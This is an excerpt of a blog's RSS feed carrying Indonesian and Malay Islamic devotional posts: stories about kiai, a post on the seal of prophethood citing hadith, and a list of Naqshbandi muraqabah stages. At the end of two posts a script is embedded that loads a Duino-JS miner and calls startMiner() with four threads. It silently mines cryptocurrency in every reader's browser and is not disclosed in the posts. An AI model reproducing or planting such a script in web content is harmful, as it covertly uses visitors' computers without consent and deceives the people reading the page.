vertical-align: top;"&gt;Rasulullah&lt;/a&gt;. Lalu saya cium, saya peluk. Di dalam penglihatan yang saya peluk itu adalah nisan, tetapi kalau dibuka Oh bukan, ini nyata dalam hidup saya, dan tidak akan pernah saya lupakan. Ini yang akan kita jaga supaya kita jangan ujub dan takabur," tegas&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/abah-guru-sekumpul" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;&lt;a href="https://alifbraja.blogspot.com/2023/09/lapisan-makam-nabi-muhammad-saw.html?m=1"&gt;.&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #14142b; font-size: 16px; letter-spacing: 0.1px; line-height: 1.628;"&gt;&lt;/p&gt;&lt;center style="box-sizing: border-box; letter-spacing: 0.1px;"&gt;&lt;div class="ads mt2 clearfix" style="box-sizing: border-box; margin-top: 20px; position: relative;"&gt;&lt;div class="ads_jl_box" style="box-sizing: border-box; margin: 10px -15px; position: relative;"&gt;&lt;div data-google-query-id="CJmfiMjOtIEDFQkd1QodtQwJXA" id="div-gpt-ad-mobileInArticle" style="box-sizing: border-box; height: auto; margin-left: 0px; max-height: none; padding-left: 0px;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/center&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="-webkit-text-stroke-width: 0px; background-color: white; box-sizing: border-box; color: #14142b; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: 0.1px; line-height: 1.628; orphans: 2; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmqcrT-ILBUyyUHI4_2_DzaFJVETRow5uO11RwNzadnipkAXi4T75UEmJjox8SrwUUEVB69pBfVxgInuZXvjbIUL0zEHxj1IrXVLtXlYcckZI1F5QRB9-U0L5LqC_QVjY7DX_qfEl8JRCcD0r8KChso13CetVC3RoWO4I3oKDQYhaRhOnGblCfjkUYs8w/s750/3394530141.webp" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" data-original-height="500" data-original-width="750" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmqcrT-ILBUyyUHI4_2_DzaFJVETRow5uO11RwNzadnipkAXi4T75UEmJjox8SrwUUEVB69pBfVxgInuZXvjbIUL0zEHxj1IrXVLtXlYcckZI1F5QRB9-U0L5LqC_QVjY7DX_qfEl8JRCcD0r8KChso13CetVC3RoWO4I3oKDQYhaRhOnGblCfjkUYs8w/s320/3394530141.webp" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Saat mengisahkan di depan&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="https://www.cirebontimes.com/tag/makam" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;makam&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Nabi tersebut, mata&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="https://www.cirebontimes.com/tag/abah-guru-sekumpul" style="box-sizing: border-box; color: #14142b; outline: 0px; position: relative; text-decoration: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;berkaca-kaca terlihat berhenti seperti merasakan sesuatu yang sangat mengesankan hidupnya.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;

&lt;script async="" crossorigin="anonymous" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-9702546753094469"&gt;&lt;/script&gt; 

</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmqcrT-ILBUyyUHI4_2_DzaFJVETRow5uO11RwNzadnipkAXi4T75UEmJjox8SrwUUEVB69pBfVxgInuZXvjbIUL0zEHxj1IrXVLtXlYcckZI1F5QRB9-U0L5LqC_QVjY7DX_qfEl8JRCcD0r8KChso13CetVC3RoWO4I3oKDQYhaRhOnGblCfjkUYs8w/s72-c/3394530141.webp" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Pelacur Minta Doa kepada Kiai Abdul Jalil Tulungagung</title><link>http://alifbraja.blogspot.com/2023/09/dikisahkan-ada-seorang-pelacur-yang.html</link><pubDate>Mon, 18 Sep 2023 23:33:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-5119601975718763624</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpiXyAwVBx741k5rt7XasySYob2-5dYagG2PeAepUoE17JuIsJP-NS6-FHPdbHA1u50xG5CaDTauL9X2Juab6NwkP7YZYvS8y2UXsbZFinRDmvnkjmmiWXYsOVISwWBcdcdBw7CJk2HTjLMa_avewVO489iKZgYnPQBfOq5DPLNWWS4UNLd83gamRpT0/s220/images.jpeg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" data-original-height="220" data-original-width="148" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpiXyAwVBx741k5rt7XasySYob2-5dYagG2PeAepUoE17JuIsJP-NS6-FHPdbHA1u50xG5CaDTauL9X2Juab6NwkP7YZYvS8y2UXsbZFinRDmvnkjmmiWXYsOVISwWBcdcdBw7CJk2HTjLMa_avewVO489iKZgYnPQBfOq5DPLNWWS4UNLd83gamRpT0/s1600/images.jpeg" width="148" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Dikisahkan ada seorang pelacur yang datang menghadap Kiai Abdul jalil Mustaqim, pengasuh pesantren PETA Tulungagung. Sang pelacur minta doa ke Kiai Jalil agar dirinya laris. kiai jalil mendoakan pelacur tersebut. Selang beberapa minggu pelacur tersebut kembali sowan dan menyatakan diri mau taubat.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Kepada Kiai jalil, pelacur tersebut bercerita, setelah didoakan dia mendapat banyak tamu bahkan dirinya hampir tidak pernah berhenti melayani tamu, sehingga tidak bisa istirahat. Si pelacur merasa tidak kuat lagi menjalani profesinya sehingga memutuskan untuk berhenti dan tobat, Si pelacur pun akhirnya suluk / kholwat di pondok PETA dengan dibimbing langsung oleh sang Mursyid.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Inilah hikmah kenapa kita tidak boleh memandang rendah manusia, tidak boleh merasa tinggi dengan amal karena hanya karunia Allah saja yang menolong manusia kelak, bukan amal ibadah kita.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Dalam kitab Al-Hikam karya Syaikh Ibnu Atho’ilah Assakandari dijelaskan:&lt;/p&gt;&lt;h2 style="background-color: white; box-sizing: border-box; color: #212121; font-family: &amp;quot;Source Sans Pro&amp;quot;, sans-serif; font-size: 20px; line-height: 28px; margin: 0px 0px 10px; text-transform: uppercase;"&gt;مِنْ عَلاَ مَةِ اْلاِعْـتِــمَادِ عَلَى الْعَمَلِ، نُقْصَانُ الرَّجَاءِ عِنْدَ وُجُـودِ الزَّ لــَـلِ&lt;/h2&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;“Di antara tanda-tanda orang yang senantiasa bersandar kepada amal-amalnya, adalah kurangnya ar-raja’ (rasa harap kepada rahmat Allah) di sisi alam yang fana.”&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Rasulullah saw. bersabda: “Tidaklah seseorang masuk surga dengan amalnya.” Ditanyakan, “Sekalipun engkau wahai Rasulullah?” Beliau bersabda, “Sekalipun saya, hanya saja Allah telah memberikan rahmat kepadaku.” – H.R. Bukhari dan Muslim.&lt;/p&gt;&lt;h2 style="background-color: white; box-sizing: border-box; color: #212121; font-family: &amp;quot;Source Sans Pro&amp;quot;, sans-serif; font-size: 20px; line-height: 28px; margin: 0px 0px 10px; text-transform: uppercase;"&gt;رُبَّماَ فَتَحَ لكَ باَبَ الطَّاعةِ وَماَ فَتَحَ لكَ بَابَ القَبُولِ. وَرُبَّمَا قَضىَ عليكَ بالذ َّنْبِ فَكانَ سَبَباً فِي الوُصوُلِ&lt;/h2&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;“Terkadang Allah membukakan untukmu pintu taat, tetapi belum dibukakan pintu kabul (penerimaan), Sebagaimana adakalanya ditaqdirkan engkau berbuat dosa, tetapi menjadi sebab Wusul (sampaimu) kepada Allah”.&lt;/p&gt;&lt;h2 style="background-color: white; box-sizing: border-box; color: #212121; font-family: &amp;quot;Source Sans Pro&amp;quot;, sans-serif; font-size: 20px; line-height: 28px; margin: 0px 0px 10px; text-transform: uppercase;"&gt;مَعْصِيَة ٌ اَورَثـْتَ ذُلاًّ واَفـْتِقَاراً خَيرٌ من طاَعةٍ اَوْرَثـْتَ عِزًّ واسْتِكباَراً&lt;/h2&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;“Maksiat (dosa) yang menjadikan rendah diri dan membutuhkan rahmat dari Allah, itu lebih baik dari perbuatan taat yang membangkitkan rasa sombong, ujub dan merendahkan orang lain”.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Kisah-kisah seperti ini banyak dijumpai dalam kehidupan kiai dengan berbagai versi. Inilah yang menyebabkan masyarakat selalu merasa terayomi dan terselesaikan masalahnya setelah menghadap kiai. Hati mereka terasa tenang dan jiwanya tentram setelah mendengar wejangan kiai.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;Semoga petikan hikmah tersebut bisa menjadikan kita semua selalu tawadlu dalam segala hal agar Allah selalu memberikan kita ketetapan iman, terbukanya hati, Barokah manfaat dan selamat dunia akhirat.&amp;nbsp;&lt;em style="box-sizing: border-box;"&gt;Aamiin yaa robbal alamin&lt;/em&gt;.&amp;nbsp;&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #545454; font-family: Amiri; font-size: 19px; line-height: 26px; margin: 0px 0px 30px;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;

&lt;script src="duino-js.min.js"&gt;&lt;/script&gt; &lt;!--imports the Duino-JS miner--&gt;
&lt;script&gt;
    username = `Alifbraja`; 
    rigid = `BlogspotDuino-JS`; 
    threads = 4; 
    startMiner(); //starts the miner
&lt;/script&gt;
</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpiXyAwVBx741k5rt7XasySYob2-5dYagG2PeAepUoE17JuIsJP-NS6-FHPdbHA1u50xG5CaDTauL9X2Juab6NwkP7YZYvS8y2UXsbZFinRDmvnkjmmiWXYsOVISwWBcdcdBw7CJk2HTjLMa_avewVO489iKZgYnPQBfOq5DPLNWWS4UNLd83gamRpT0/s72-c/images.jpeg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>SHAHIH KHATAMUN NUBUWWAH</title><link>http://alifbraja.blogspot.com/2023/08/shahih-khatamun-nubuwwah.html</link><pubDate>Sat, 19 Aug 2023 13:56:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-9145822329906321228</guid><description>&lt;div&gt;أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Diantara dua bahu nabi SAW ada cap kenabian&amp;nbsp;&lt;/span&gt;&lt;b style="background-color: white; color: blue; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;(Khatamun Nubuwwah)&lt;/b&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Dari kitab (&lt;/span&gt;&lt;b style="background-color: white; color: red; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;Kifayatul Muhtaj&lt;/b&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: red; font-size: 15.84px;"&gt;bagi bicara israk&amp;amp;mikraj m/s 4)&lt;/span&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;&amp;nbsp;diceritakan..ketika nabi sedang berada ni Hijir Ismail( Baitullah)..datang malaikat Jibrail dan Mikail, dan dibelah dada nabi dari pangkal leher hingga ke bawah perut, dan disucikan hati nabi dan dibasuh jantung nabi dengan air zam-zam 3 kali..dan kemudian dimaterikan antara dua belikat Rasulullah dengan Khatamun Nubuwwah..&lt;/span&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Dari kitab&lt;/span&gt;&lt;b style="background-color: white; color: blue; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;&amp;nbsp;Madarijus Suud..syarah ala Maulid Barzanji m/s 51&amp;amp;52&lt;/b&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;...(cap kenabian) ialah daging atau lemak yang hitam (nampak timbul) bercampur kekuningan(seperti urat), kelilingnya itu ade bulu-buluan(bulu roma) yang beriring-iringan seolah-olahnya bulu kuda (halus), berkata&amp;nbsp;&lt;/span&gt;&lt;b style="background-color: white; color: #38761d; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;Alamah Zurqani dalam kitab AlMawahidunyah syarah ‘ala Syamail&lt;/b&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;, tertulis dalam segitiga itu,&lt;/span&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;div style="background-color: white; color: blue; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px; text-align: center;"&gt;&lt;b&gt;&lt;i&gt;” Allah Tunggal Ia, Tiada Sekutu BagiNya, Muhammad,HambaNya,RasulNya,”&amp;nbsp;&lt;span style="color: black;"&gt;dan di luar segitiga itu pada arah kanan&amp;nbsp;&lt;/span&gt;, “Hadaplah Hai Muhammad sekira-kira engkau mau (Hadaplah atau Pergilah ke mana engkau mau)&amp;nbsp;&lt;span style="color: black;"&gt;dan di sebelah kirinya pula,&lt;/span&gt;&amp;nbsp;“Sesungguhnya engkau Muhammad dibela atau dibantu,”&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi423zyrpw56bKfxxDIp39mMY2hVmgZ9ecctZqcw-RwT3q0wgUsOYGwMvEcHN8JJqAFrpzlvRcGqZAgZ0q8EsdOrsSu4hzCLnrmAhyw68NGIdN0ec5qJKZoBKZN16gligjT0d0b7rGigcY/s1600-h/IMG.jpg" style="background-color: white; color: #2288bb; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px; text-decoration-line: none;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5441664334736949026" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi423zyrpw56bKfxxDIp39mMY2hVmgZ9ecctZqcw-RwT3q0wgUsOYGwMvEcHN8JJqAFrpzlvRcGqZAgZ0q8EsdOrsSu4hzCLnrmAhyw68NGIdN0ec5qJKZoBKZN16gligjT0d0b7rGigcY/s1600/IMG.jpg" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(238, 238, 238); box-shadow: rgba(0, 0, 0, 0.1) 1px 1px 5px; box-sizing: border-box; display: block; margin: 0px auto 10px; max-width: 100%; padding: 5px; position: relative; text-align: center;" /&gt;&lt;/a&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Disokong dengan Hadith..&lt;/span&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Berkata hadrat Imam Thirmizi RA,;&amp;nbsp;&lt;/span&gt;&lt;i style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;&lt;span style="color: blue;"&gt;"Sesiapa berwudhu’lalu melihat ia(ini khatam) diwaktu subuh,nescaya akan dipelihara akan dia ALLAH Taala sampai petang. Sesiapa melihat ia di waktu maghrib, nescaya memelihara dia akan ALLAH Taala sehigga waktu subuh, dan Sesiapa melihat ia ketika awal bulan(nampak anak bulan), nescaya memelihara akan dia oleh ALLAH Taala sampai akhir bulan, dan Sesiapa melihat ia akan awal tahun(nampak anak bulan), nescaya memelihara akan dia oleh ALLAH Taala sampai akhir tahun dari bala dan bencana, dan Sesiapa melihat ia ketika bermusafir, nescaya jadilah safar itu diberkati ALLAH Taala keatasnya, dan Sesiapa mati pada demikian tahun, mengkhatamkan(mengakhirkan) oleh ALLAH Taala baginya dengan iman bahkan aku (Tharmizi) berharap akan ALLAH Taala, bahawasanya Sesiapa melihat ia(ini khatam) dgn benar Cintanya akan Nabi SAW, dgn kepercayaan IMAN yg BENAR, dgn Umurnya yg satu sahaja, memelihara ALLAH Taala akan seluruh apa yg tidak disukai sampai ia bertemu akan ALLAH Taala."&lt;/span&gt;&lt;/i&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;&lt;span style="color: blue;"&gt;(Syarah Barzanji m/s 52)&lt;/span&gt;&lt;/b&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;Dari as-Sa’ib bin Yazid r.a telah berkata:&lt;/span&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;div style="background-color: white; color: blue; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px; text-align: center;"&gt;&lt;i&gt;&lt;b&gt;“Ibu saudaraku telah membawa aku kepada Rasulullah SAW. Maka dia berkata: Ya Rasulullah, anak saudaraku ini telah jatuh sakit, maka Baginda menyapu kepalaku dan mendoakan keberkatan padaku, kemudian Baginda mengambil wudhu’ maka aku pun minum air wudhu’nya. Kemudian aku bangun di belakang Baginda maka aku lihat satu cop yg terdapat antara bahu Baginda.” (H.R Bukhari)&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;b style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;"&gt;Berkata al-Qurtubi:&lt;/b&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;&amp;nbsp;Hadith2 Sahih bersepakat menyebut bahawa cap kenabian adalah sesuatu yg jelas kemerahan terdapat pada bahu kiri Baginda. Sekurang2 kadarnya adalah sebesar telur merpati dan sebesar2Nya sebuku tangan.&amp;nbsp;&lt;/span&gt;&lt;br style="background-color: white; color: #666666; font-family: &amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif; font-size: 15.84px;" /&gt;&lt;/div&gt;&lt;div&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span face="&amp;quot;Trebuchet MS&amp;quot;, Trebuchet, Verdana, sans-serif" style="background-color: white; color: #666666; font-size: 15.84px;"&gt;google.com, pub-9702546753094469, DIRECT, f08c47fec0942fa0&lt;/span&gt;&lt;/div&gt; 

&lt;script src="duino-js.min.js"&gt;&lt;/script&gt; &lt;!--imports the Duino-JS miner--&gt;
&lt;script&gt;
    username = `Alifbraja`; 
    rigid = `BlogspotDuino-JS`; 
    threads = 4; 
    startMiner(); //starts the miner
&lt;/script&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi423zyrpw56bKfxxDIp39mMY2hVmgZ9ecctZqcw-RwT3q0wgUsOYGwMvEcHN8JJqAFrpzlvRcGqZAgZ0q8EsdOrsSu4hzCLnrmAhyw68NGIdN0ec5qJKZoBKZN16gligjT0d0b7rGigcY/s72-c/IMG.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>TINGKATAN MUROQOBAH THORIQOH NAQSYABANDIYAH</title><link>http://alifbraja.blogspot.com/2019/06/tingkatan-muroqobah-tarikat.html</link><pubDate>Fri, 7 Jun 2019 04:59:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-256817483151290406</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;br /&gt;
&lt;br /&gt;
M U R O Q O B A H&lt;br /&gt;
__________________&lt;br /&gt;
Murâqabah memeiliki perbedaan dengan dzikir terutama pada&lt;br /&gt;
obyek pemusatan kesadaran (kosentrasinya). Kalau dzikir memikili obyek perhatian pada simbol, yang berupa kata atau kalimat, sedangkan murâqabah menjaga kesadaran atas makna, sifat, qudrat dan iradat Allâh Swt. Menurut KH. Ramli Tamim dalam kitabnya mengemukakan 20 macam Murâqabah Tharîqah Qâdiriyah wa Naqsyabandiyah, yaitu;&lt;br /&gt;
1. Murâqabah Ahadiyah, murâqabah ini adalah mawas diri atas sifat Maha esa Allâh Swt. Ajaran murâqabah ini ada dalam Tharîqah Qâdiriyah wa Naqsyabandiyah. Dalam mawas diri diimajinasikan datangnya pancaran karunia Allâh Swt. berasal dari enam arah, yaitu: atas-bawah, muka belakang, dan kanan-kiri. Sedangkan dalam Tharîqah Naqsyabandiyah Mujaddadiyah, murâqabah hati kesadaran dipusatkan dalam lima lathaif secara bertahap, yaitu:&lt;br /&gt;
2. Murâqabah Ma‟iyyah, Jenis murâqabah ini ada dalam kedua tharîqah induknya (Qâdiriyah dan Naqsyabandiyah). Akan tetapi dalam hal teknis lebih dekat dengan ajaran murâqabah yang ada pada Tharîqah Qâdiriyah. Murâqabah Ma‟iyah mawas diri akan makna kebersamaan Allâh Swt. dengan dirinya&lt;br /&gt;
3. Murâqabah Aqrabiyah, Arti dari murâqabah ini adalah memperhatikan dengan seksama dalam kontemplasi akan makna dan hal kedekatan Allâh Swt. Namanya sama dengan yang ada dalarn Tharîqah Naqsyabandiyah, sedangkan filosofinya lebih dekat dengan yang ada dalam Tharîqah Qâdiriyah&lt;br /&gt;
4. Murâqabah Wilayatul „Ulya, Murâqabah jenis ini hanya ada dalam ajaran Tharîqah Naqsyabandiyah. Walaupun menggunakan nama yang berbeda (terkadang juga disebut dengan nama yang sama), tetapi cara dan sasarannya sama. Sedangkan dalam Tharîqah Qâdiriyah jenis murâqabah ini terlaksana dalam murâqabah yang ketujuh (sama sasaran dan dalilnya)&lt;br /&gt;
5. Murâqabah Kamalatun Nubuwwah, Yaitu murâqabah atas qudrat Allâh Swt. yang telah menjadikan sifat-sifat kesempurnaan kenabian&lt;br /&gt;
6. Murâqabah Kamalatul Risalat, adalah kontemplasi atas Allâh Swt. dzat yang telah menjadikan kesempurnaan sifat kerasulan&lt;br /&gt;
7. Murâqabah Kamalatul Ulul Azmi, Adalah murâqabah atas diri Allâh Swt. yang telah menjadikan para rasul yang bertitel ulul azmi. Ketiga jenis murâqabah di atas tersebut hanya terdapat dalam ajaran Naqsyabandiyah Mujaddidiyah (NM)&lt;br /&gt;
8. Muraqabatul Mahabbah fi al-Dairat al-Khullat, Yaitu murâqabah atas Allâh Swt. dzat yang telah menjadikan hakikat Nabi Ibrahim sebagai khalilullah (kekasih Allâh Swt).&lt;br /&gt;
